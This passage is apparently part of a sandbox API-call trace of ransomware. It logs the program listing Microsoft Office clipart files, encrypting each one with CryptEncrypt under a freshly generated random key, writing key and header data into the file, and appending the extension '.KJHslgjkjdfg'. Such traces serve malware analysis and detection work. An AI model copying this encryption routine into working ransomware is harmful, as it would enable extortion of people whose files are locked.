dwReserved1=0x2e0000, cFileName="TN00411_.WMF", cAlternateFileName="")) returned 1 [0249.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00411_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00411_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.641] GetProcessHeap () returned 0x2ef0000 [0249.641] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.641] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.641] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.641] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0249.643] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.643] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.643] GetProcessHeap () returned 0x2ef0000 [0249.643] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0249.643] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0249.643] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.643] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0249.644] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.644] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.644] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.644] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.644] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.644] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.644] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.644] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.644] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xf72, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xf72, lpOverlapped=0x0) returned 1 [0249.644] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xf80, dwBufLen=0xf80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xf80) returned 1 [0249.644] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.644] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xf80, lpOverlapped=0x0) returned 1 [0249.645] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.645] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1054, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.645] SetEndOfFile (hFile=0x130) returned 1 [0249.646] GetProcessHeap () returned 0x2ef0000 [0249.646] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0249.646] GetProcessHeap () returned 0x2ef0000 [0249.646] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0249.646] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00411_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00411_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00411_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00411_.wmf.kjhslgjkjdfg")) returned 1 [0249.647] CloseHandle (hObject=0x130) returned 1 [0249.647] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e9e8900, ftCreationTime.dwHighDateTime=0x1bd4bd7, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e9e8900, ftLastWriteTime.dwHighDateTime=0x1bd4bd7, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN00687_.WMF", cAlternateFileName="")) returned 1 [0249.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.649] GetProcessHeap () returned 0x2ef0000 [0249.649] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.649] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.650] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.650] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0249.652] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.652] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.652] GetProcessHeap () returned 0x2ef0000 [0249.652] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0249.652] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0249.652] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.652] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0249.652] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.652] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.652] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.652] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.652] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.653] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.653] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.653] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.653] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x9d2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x9d2, lpOverlapped=0x0) returned 1 [0249.653] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9e0, dwBufLen=0x9e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9e0) returned 1 [0249.653] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.653] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x9e0, lpOverlapped=0x0) returned 1 [0249.653] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.653] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xab4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.653] SetEndOfFile (hFile=0x130) returned 1 [0249.656] GetProcessHeap () returned 0x2ef0000 [0249.656] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0249.656] GetProcessHeap () returned 0x2ef0000 [0249.656] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0249.656] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00687_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00687_.wmf.kjhslgjkjdfg")) returned 1 [0249.658] CloseHandle (hObject=0x130) returned 1 [0249.658] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd723f700, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd723f700, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN01164_.WMF", cAlternateFileName="")) returned 1 [0249.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01164_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01164_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.659] GetProcessHeap () returned 0x2ef0000 [0249.659] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.659] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.659] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.659] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0249.663] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.663] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.663] GetProcessHeap () returned 0x2ef0000 [0249.663] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0249.663] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0249.663] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.663] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0249.663] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.663] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.663] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.664] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.664] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.664] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.664] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.664] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.664] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x236, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x236, lpOverlapped=0x0) returned 1 [0249.664] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x240, dwBufLen=0x240 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x240) returned 1 [0249.664] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.664] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x240, lpOverlapped=0x0) returned 1 [0249.664] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.665] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.665] SetEndOfFile (hFile=0x130) returned 1 [0249.667] GetProcessHeap () returned 0x2ef0000 [0249.667] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0249.667] GetProcessHeap () returned 0x2ef0000 [0249.667] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0249.667] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01164_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01164_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01164_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01164_.wmf.kjhslgjkjdfg")) returned 1 [0249.669] CloseHandle (hObject=0x130) returned 1 [0249.669] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fba7700, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6fba7700, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x66a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN01165_.WMF", cAlternateFileName="")) returned 1 [0249.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01165_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01165_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.672] GetProcessHeap () returned 0x2ef0000 [0249.672] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.672] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.672] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.673] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0249.675] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.675] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.675] GetProcessHeap () returned 0x2ef0000 [0249.675] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0249.675] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0249.675] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.675] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0249.675] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.675] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.675] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.675] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.676] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.676] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.676] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.676] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.676] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x66a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x66a, lpOverlapped=0x0) returned 1 [0249.676] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x670, dwBufLen=0x670 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x670) returned 1 [0249.676] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.676] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x670, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x670, lpOverlapped=0x0) returned 1 [0249.676] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.676] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.676] SetEndOfFile (hFile=0x130) returned 1 [0249.679] GetProcessHeap () returned 0x2ef0000 [0249.679] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0249.679] GetProcessHeap () returned 0x2ef0000 [0249.679] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0249.679] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01165_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01165_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01165_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01165_.wmf.kjhslgjkjdfg")) returned 1 [0249.681] CloseHandle (hObject=0x130) returned 1 [0249.681] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d5216d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4e02, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN01308_.WMF", cAlternateFileName="")) returned 1 [0249.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01308_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01308_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.683] GetProcessHeap () returned 0x2ef0000 [0249.683] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.683] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.683] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.684] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, 